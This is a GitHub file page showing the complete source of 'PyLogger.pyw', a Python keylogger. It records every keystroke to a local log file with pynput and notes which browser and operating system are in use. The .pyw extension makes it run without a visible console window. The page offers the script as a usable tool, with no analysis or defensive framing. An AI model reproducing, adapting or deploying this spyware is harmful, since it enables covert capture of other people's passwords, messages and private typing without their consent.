-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathPyLogger.pyw
More file actions
45 lines (36 loc) · 1.28 KB
/
PyLogger.pyw
File metadata and controls
45 lines (36 loc) · 1.28 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pynput.keyboard import Listener
import logging
import time
import psutil
import sys
CTIME = time.ctime()
OUTPUT = 'log.txt'
logging.basicConfig(filename=(OUTPUT), level=logging.DEBUG, format=CTIME + ': %(message)s')
def checkIfProcessRunning(processName):
for proc in psutil.process_iter():
try:
if processName.lower() in proc.name().lower():
return True
except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
pass
return False;
Chrome = f"{CTIME} | Chrome is running..."
FireFox = f"{CTIME} | Firefox is running..."
IExplorer = f"{CTIME} | Internet Explorer is running..."
while True:
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
if checkIfProcessRunning('chrome'):
logging.info(Chrome)
elif checkIfProcessRunning('firefox'):
logging.info(FireFox)
elif checkIfProcessRunning('iexplorer'):
logging.info(IExplorer)
else:
logging.info("Unknown Browser is running")
if sys.platform.startswith('linux'):
logging.info(f"{CTIME}| System: Linux Machine")
elif "windows" in sys.platform:
logging.info(f"{CTIME} | System: Windows Machine")
listener.join()